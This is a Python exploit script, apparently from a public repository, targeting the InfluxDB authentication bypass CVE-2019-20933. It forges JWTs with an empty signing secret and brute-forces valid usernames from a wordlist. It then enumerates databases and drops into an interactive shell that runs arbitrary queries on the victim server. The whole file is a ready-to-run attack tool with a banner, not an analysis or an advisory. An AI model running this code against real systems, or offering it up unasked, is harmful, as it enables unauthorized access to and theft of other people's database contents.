-
Notifications
You must be signed in to change notification settings - Fork 19
/
__main__.py
185 lines (155 loc) · 5.63 KB
/
__main__.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
#!/bin/env python
import json
import pathlib
import time
import urllib
import requests as requests
import jwt
from termcolor import colored
def bruteforceUser(filename, host, port):
print()
print("Bruteforcing usernames ...")
with open(filename) as f:
for line in f:
line = line.replace("\n", "")
exp = int(time.time())
exp = exp + 2.628 * 10 ** 6
# Generation JWT
payload = {
"username": line,
"exp": exp
}
token = jwt.encode(payload, "", algorithm="HS256")
query = "SHOW DATABASES"
response = makeQuery(token, 'dummy', host, port, query)
response = json.loads(response)
if "error" in response.keys():
if "signature is invalid" in response['error']:
print(colored("ERROR: Host not vulnerable !!!", "red"))
print(colored("ERROR: " + response['error'] + "", "red"))
exit(1)
if "user not found" in response['error']:
print("[{}] {}".format(colored("x", "red"), line))
else:
print("[{}] {}".format(colored("v", "green"), line))
print()
username = line
return username
print(colored("ERROR: no valid username found !!!", "red"))
exit(1)
def makeQuery(token, db, host, port, query):
try:
headers = {
'Authorization': 'Bearer ' + token,
}
except:
token = token.decode("utf-8")
headers = {
'Authorization': 'Bearer ' + token,
}
# Send request
query = urllib.parse.quote_plus(query)
response = requests.get('http://' + host + ':' + str(port) + '/query?db=' + db + '&q=' + query, headers=headers)
return response.text
def exploit():
# imput data
print()
try:
host = input("Host (default: localhost): ")
except KeyboardInterrupt:
return
if host == "":
host = "127.0.0.1"
try:
port = input("Port (default: 8086): ")
except KeyboardInterrupt:
return
if port == "":
port = 8086
try:
username = input("Username <OR> path to username file (default: users.txt): ")
except KeyboardInterrupt:
return
if username == "":
username = "users.txt"
# check if username is a valid file to start bruteforce
file = pathlib.Path(username)
if file.exists():
username = bruteforceUser(username, host, port)
exp = int(time.time())
exp = exp + 2.628 * 10 ** 6 # Aggiungo un mese
# Generation JWT
payload = {
"username": username,
"exp": exp
}
token = jwt.encode(payload, "", algorithm="HS256")
#print("Token: {}".format(token))
query = "SHOW DATABASES"
response = makeQuery(token, 'dummy', host, port, query)
response = json.loads(response)
if "results" in response.keys():
print(colored("Host vulnerable !!!", "green"))
else:
print(colored("ERROR: Host not vulnerable !!!", "red"))
print(colored("ERROR: "+response['error']+"", "red"))
return
# Get databases list
dblist = [db[0] for db in response['results'][0]['series'][0]['values']]
while True:
print()
print("Databases:")
print()
for (i, db) in enumerate(dblist):
print("{}) {}".format(i + 1, db))
print()
print(".quit to exit")
try:
db = input("[{}@{}] Database: ".format(colored(username, "red"), colored(host, "yellow")))
except KeyboardInterrupt:
print()
print("~ Bye!")
break
try:
db = dblist[int(db) - 1]
except IndexError as e:
# Prompt again if database index if not in range
continue
except Exception as e:
# Check if database exists if its a string
if db.strip() == "":
continue
if db not in dblist:
print(colored("[Error] ", "red") + "No such database: \"" + colored(db, "yellow") + "\"")
continue
pass
if db in ['.exit', '.quit', '.back']:
return
if db == "":
continue
print()
print("Starting InfluxDB shell - .back to go back")
while True:
try:
query = input("[{}@{}/{}] $ ".format(colored(username, "red"), colored(host, "yellow"), colored(db, "blue")))
except KeyboardInterrupt:
break
if query.strip() == "":
continue
if query in ['.exit', '.quit', '.back']:
break
response = makeQuery(token, db, host, port, query)
response = json.loads(response)
print(json.dumps(response, indent=4, sort_keys=True))
if __name__ == '__main__':
print(colored("""
_____ __ _ _____ ____ ______ _ _ _
|_ _| / _| | | __ \| _ \ | ____| | | (_) |
| | _ __ | |_| |_ ___ __ | | | |_) | | |__ __ ___ __ | | ___ _| |_
| | | '_ \| _| | | | \ \/ / | | | _ < | __| \ \/ / '_ \| |/ _ \| | __|
_| |_| | | | | | | |_| |> <| |__| | |_) | | |____ > <| |_) | | (_) | | |_
|_____|_| |_|_| |_|\__,_/_/\_\_____/|____/ |______/_/\_\ .__/|_|\___/|_|\__|
| |
|_| """, 'green'))
print(colored(" - using CVE-2019-20933", "yellow"))
exploit()